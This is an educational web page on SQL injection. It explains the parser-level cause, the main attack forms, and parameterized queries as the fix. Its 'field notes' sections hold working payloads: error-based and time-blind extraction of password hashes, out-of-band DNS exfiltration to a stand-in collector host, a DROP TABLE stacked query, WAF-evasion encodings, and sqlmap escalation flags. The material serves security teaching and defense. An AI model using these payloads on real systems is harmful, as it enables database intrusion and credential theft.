~/learn / web-vulnerabilities / sql-injection

SQL Injection

How building SQL queries from strings lets input change the query, the parser-level reason it works, every form it takes, why escaping and blocklists fail, and why parameterized queries fix it completely.

beginnerupdated

SQL injection happens when an application builds a database query by concatenating user input into a SQL string. The database receives one finished string and has no idea which characters the developer wrote and which came from a stranger on the internet. If the input contains SQL syntax, it changes the meaning of the query. This single class of bug has leaked more records than almost any other, and it is still in the OWASP Top 10 decades after it was first described.

Why it works: the database sees text, not intent

A database driver does not send your query as a structured object. It sends a string. The server runs that string through a lexer that splits it into tokens (keywords, identifiers, string literals, operators), then a parser that builds a syntax tree, then a planner that turns the tree into an execution plan. The crucial point is that quoting is resolved during lexing. A ' opens a string literal and the next ' closes it. Everything in between is data. Everything outside is code.

When you paste user input between two quotes in your source, you are trusting that the input contains no quote of its own. The moment it does, the lexer closes your string early and starts reading the attacker’s characters as SQL keywords.

# Vulnerable: input is pasted into the SQL text
username = request.args["username"]
query = f"SELECT id, email FROM users WHERE username = '{username}'"
rows = db.execute(query)

Send username = alice:

SELECT id, email FROM users WHERE username = 'alice'

Now send username = ' OR '1'='1:

SELECT id, email FROM users WHERE username = '' OR '1'='1'

The WHERE clause is now always true. The query returns every user. The input did not “sneak past validation.” It was parsed as SQL because, to the database, that is exactly what it was.

Authentication bypass, step by step

A classic login query:

SELECT * FROM users WHERE username = '$user' AND password = '$pass'

Send username = admin'-- and any password:

SELECT * FROM users WHERE username = 'admin'-- ' AND password = '...'

-- begins a SQL comment, so the rest of the line, including the entire password check, is discarded. The query returns the admin row and the application logs you in. No password was guessed. The comment token rewrote the authorization logic. This is why a login form is one of the first things a tester probes in an authorized engagement, and why you should never build auth queries from strings.

Reading other tables with UNION

If a query’s results are rendered on the page, UNION SELECT lets a query return rows from a different table, as long as the column count and types line up. Suppose a product page runs:

SELECT name, description, price FROM products WHERE id = '$id'

The three selected columns are printed. An attacker in a lab first finds the column count, usually with ORDER BY 1, ORDER BY 2, ORDER BY 3, until the query errors, then appends a matching UNION SELECT:

... WHERE id = '-1' UNION SELECT username, password_hash, NULL FROM users--

The -1 makes the original half return nothing, so only the injected rows render. The column types must be compatible, which is why testers probe each position with NULL first, then substitute a string column where a string is accepted. Understanding this is the difference between recognizing the bug and understanding why it leaks precisely the data it does.

When nothing is printed: blind injection

Most real injectable parameters show no query output and no database errors. The query still runs, so its behavior becomes the oracle.

  • Boolean blind: inject a condition and watch whether the page changes. id = 5 AND 1=1 renders normally, id = 5 AND 1=2 renders the empty state. From that one bit, a tester can ask yes or no questions one character at a time, for example whether the first character of an admin password hash is greater than m, and binary-search the answer.
  • Time blind: when even the true and false pages look identical, timing becomes the signal. A condition wrapped in CASE WHEN ... THEN pg_sleep(5) ELSE 0 END (Postgres) or SLEEP(5) (MySQL) makes a true answer take five seconds longer. Slow, but it works through a pinhole.
  • Out-of-band: when there is no visible or timing signal, some databases can be coaxed into making a DNS or HTTP request to a server the tester controls, carrying the stolen value in the hostname. Used only in scoped engagements with permission.
  • Second-order: the input is stored safely on one request, then later read back and concatenated into a different query without re-checking. The dangerous moment is far from the input, which is why these hide from both scanners and reviewers who only look at the obvious endpoints.

Field notes: fingerprinting the backend

The textbook stops at “it is injectable.” The work starts there. Before you can extract anything you need to know which database you are talking to, because every payload past this point is dialect-specific. You fingerprint with string concatenation, because every engine spells it differently, and the one that does not error is your answer.

Payload that returns AB Engine it confirms
'A'||'B' Oracle, PostgreSQL, SQLite
'A'+'B' SQL Server, MySQL (in some modes)
CONCAT('A','B') MySQL (also Postgres)
'A' 'B' (space-separated literals) MySQL, SQLite

Then confirm with a version function that only one engine has: @@version (SQL Server, MySQL), version() (Postgres, MySQL), banner FROM v$version (Oracle), sqlite_version() (SQLite). Comment syntax is another tell: # is a MySQL line comment and errors elsewhere, while -- (with a trailing space) and /* */ are near-universal. Build the dialect picture before you fire exploitation payloads, or you will burn requests and WAF budget on syntax the backend cannot parse.

Field notes: error-based extraction in one request

When the app prints database errors, you do not need blind techniques at all. You force the engine to put your stolen data inside an error message by feeding a subquery somewhere a type conversion will fail. One request, data in the response:

-- MySQL: extractvalue chokes on the ~ and prints the subquery result in the XPATH error
' AND extractvalue(1, concat(0x7e, (SELECT password_hash FROM users LIMIT 1)))-- -

-- PostgreSQL: casting text to int fails and the error contains the text
' AND 1=CAST((SELECT password_hash FROM users LIMIT 1) AS int)-- -

-- SQL Server: same idea, convert the string subquery to int
' AND 1=CONVERT(int, (SELECT TOP 1 password_hash FROM users))-- -

-- Oracle: throw the value into a function that reports it
' AND 1=CTXSYS.DRITHSX.SN(1, (SELECT banner FROM v$version WHERE rownum=1))-- -

The 0x7e is a hex-encoded ~, used so you can recognize your injected value in the noise. Error-based is the fastest extraction there is, which is exactly why hiding database errors in production matters so much.

Field notes: time-blind and out-of-band

When nothing renders and no error leaks, you fall back to the two channels that always exist: the clock and the network. Time-blind turns one yes/no bit into a measurable delay:

-- MySQL / SQL Server / Postgres / Oracle respectively
' AND IF((SELECT SUBSTRING(password_hash,1,1) FROM users LIMIT 1)>'m', SLEEP(5), 0)-- -
'; IF (ASCII(SUBSTRING((SELECT TOP 1 password_hash FROM users),1,1))>109) WAITFOR DELAY '0:0:5'--
' AND (SELECT CASE WHEN (ASCII(SUBSTR(...))>109) THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
' AND 1=(CASE WHEN (...) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END)-- -

Out-of-band is faster and works even when timing is unreliable, because it exfiltrates a whole value in a single DNS lookup to a collector you control (Burp Collaborator, interactsh). These only run in a scoped, authorized engagement:

-- SQL Server: forces a UNC lookup, the subquery becomes the hostname
'; DECLARE @q VARCHAR(1024); SELECT @q=(SELECT TOP 1 password_hash FROM users);
   EXEC('master..xp_dirtree "\\'+@q+'.dns.collab.test\x"')--

-- Oracle: classic OOB primitives
' AND (SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.dns.collab.test') FROM dual) IS NOT NULL-- -

-- MySQL on Windows: UNC read via LOAD_FILE
' AND LOAD_FILE(CONCAT('\\\\',(SELECT password_hash FROM users LIMIT 1),'.dns.collab.test\\a'))-- -

OOB is the technique that cracks fully blind, fully silent endpoints, and it is why an egress-filtered database is a real defensive control, not a paranoid one.

Field notes: stacked queries are a driver property, not a SQL one

Whether '; DROP TABLE logs-- actually runs a second statement depends on the driver, not the database. SQL Server with most drivers and PostgreSQL via libpq-style multi-statement calls happily run stacked queries. MySQL through mysqli_query or PDO without MYSQLI_MULTI_STATEMENTS runs only the first statement, so a stacked payload silently does nothing and testers wrongly conclude the parameter is safe. When your INSERT, UPDATE, or EXEC payload seems ignored, the parameter can still be fully injectable through UNION or blind, you just cannot stack. Knowing this stops you from discarding a live finding.

Field notes: getting past the WAF

A blocked payload is a puzzle, not a dead end. The engine still has to parse valid SQL, so anything the parser treats as equivalent is a candidate the signature may have missed:

  • Inline comments as whitespace: UNION/**/SELECT, /*!50000UNION*/SELECT (the MySQL version-gated comment executes only on MySQL and is invisible to many filters).
  • Case and encoding: uNiOn, URL-encode once or twice (%2553ELECT decodes to %53ELECT then SELECT if a layer double-decodes), or use full-width/unicode where a normalizer folds it.
  • Whitespace alternatives: tabs, newlines, %0a, %0c, /**/, or parentheses UNION(SELECT(...)) where spaces are stripped.
  • No-quote and no-comma forms: 0x61646d696e instead of 'admin', and SUBSTRING replaced with JOIN-based extraction when commas are filtered.
  • Logic rephrasing: when OR is blocked, || or UNION; when = is blocked, LIKE, BETWEEN, or IN.

Chain these, do not try them one at a time. A payload like /*!50000Un/**/ioN*/+Se/**/LeCT stacks three evasions at once. The deeper lesson is that a WAF is a speed bump, not the fix, because the parser will always accept some spelling the regex did not.

Field notes: sqlmap without embarrassing yourself

Scanners are for after you understand the bug, not instead. Point sqlmap at a request you captured (save the raw HTTP from Burp to a file) so it keeps your cookies, headers, and auth:

sqlmap -r request.txt -p id --batch --level 3 --risk 2 \
  --dbms postgresql --technique=BEUST --tamper=space2comment,between

The flags that matter: --technique restricts to Boolean/Error/Union/Stacked/Time so you are not noisy, --tamper applies the same WAF evasions by name, and once you confirm access, --dump, --os-shell (command execution where the privileges allow it), or --file-read escalate. Run it --level/--risk low first; the high settings send destructive and heavy payloads you do not want pointed at a fragile target. Only ever against systems in your authorized scope.

The fix: parameterized queries

# Safe: the query structure and the data travel separately
rows = db.execute("SELECT id, email FROM users WHERE username = %s", (username,))

With a parameterized query (also called a prepared statement), the SQL text and the values travel in separate fields of the database protocol. Postgres makes this visible in its extended query protocol: a Parse message carries the SQL with numbered placeholders, the server parses and plans it once, then a Bind message supplies the values, and Execute runs it. Because parsing already finished before the values arrived, no byte of a value can become a keyword, an operator, or a comment. The input is treated as a single opaque literal no matter what it contains. This is a complete fix, not a mitigation, and it is also faster when the same statement runs repeatedly, because the plan is cached.

ORMs parameterize by default, and the trap is always the escape hatch where you hand-write SQL:

# Rails: safe
User.where(username: params[:username])
User.where("username = ?", params[:username])

# Rails: vulnerable, string interpolation into SQL
User.where("username = '#{params[:username]}'")

Parts you cannot parameterize

Placeholders bind values, not identifiers. Table names, column names, and sort direction are part of the query structure, so they cannot be bound. Use a strict allowlist and map to known-good values:

SORTABLE = %w[created_at email username].freeze
column = SORTABLE.include?(params[:sort]) ? params[:sort] : "created_at"
direction = params[:direction] == "asc" ? :asc : :desc
User.order(column => direction)

Never pass a user-supplied column name through, even after “cleaning” it. Map it.

Why escaping and blocklists fail

Developers reach for two broken fixes before they reach for the right one.

  • Manual escaping means doubling or backslashing quotes yourself. It breaks the moment a value reaches SQL through a context you did not anticipate: a numeric parameter with no surrounding quotes needs no quote to break out, so id = 1 OR 1=1 injects without ever using a '. Multi-byte character sets have historically let a crafted byte swallow the escaping backslash so the following quote escapes the string anyway. You are reimplementing the database’s own lexer and you will lose.
  • Blocklists of words like UNION, SELECT, or OR are trivially bypassed with comments (UN/**/ION), case (uNiOn), encoding, or whitespace tricks, and they break legitimate input such as a surname containing “or”. A blocklist is evidence that the real fix was skipped.

The reason parameterization wins is that it does not try to recognize bad input at all. It removes the channel through which input could ever be interpreted as code.

Defense in depth

Parameterize everything, then assume you missed one and limit the blast radius.

  • Run the application’s database user with least privilege. It should not own the schema, should not have FILE or superuser rights, and often should not be able to reach system tables. On MySQL, FILE privilege turns an injection into arbitrary file read and write; on SQL Server, xp_cmdshell turns it into command execution. Strip those.
  • Return generic error pages in production. A leaked database error reveals table names, column names, and the exact query shape, which turns blind injection into trivial injection.
  • Log and alert on database syntax errors. They almost never happen during normal operation, so a spike is either a bug or an attack.
  • Treat every static analysis flag on string-built SQL as a real bug, even when the input “looks trusted.” Trusted input becomes untrusted the day a new caller is added.

Code review checklist

  • Search for string formatting or concatenation near execute, query, raw, exec_query, find_by_sql, and sanitize_sql.
  • Check every dynamic ORDER BY, GROUP BY, table, or column name for an allowlist, not a sanitizer.
  • Check stored procedures. They can build and run dynamic SQL internally, hiding injection inside the database.
  • Check NoSQL too. A MongoDB query built from a JSON body lets an attacker send {"$ne": null} where you expected a string, which is the same class of bug with different syntax.

Practice it properly

Read code until the vulnerable pattern jumps out at you, then confirm your understanding in a lab, never on a system you do not own. PortSwigger’s Web Security Academy has a free, legal SQL injection track that walks through each form above with a target built to be broken. When you review real code, reach for the URL inspector to see how parameters are carried, and keep the mental model front of mind: the database sees text, so keep your text and your data in separate envelopes.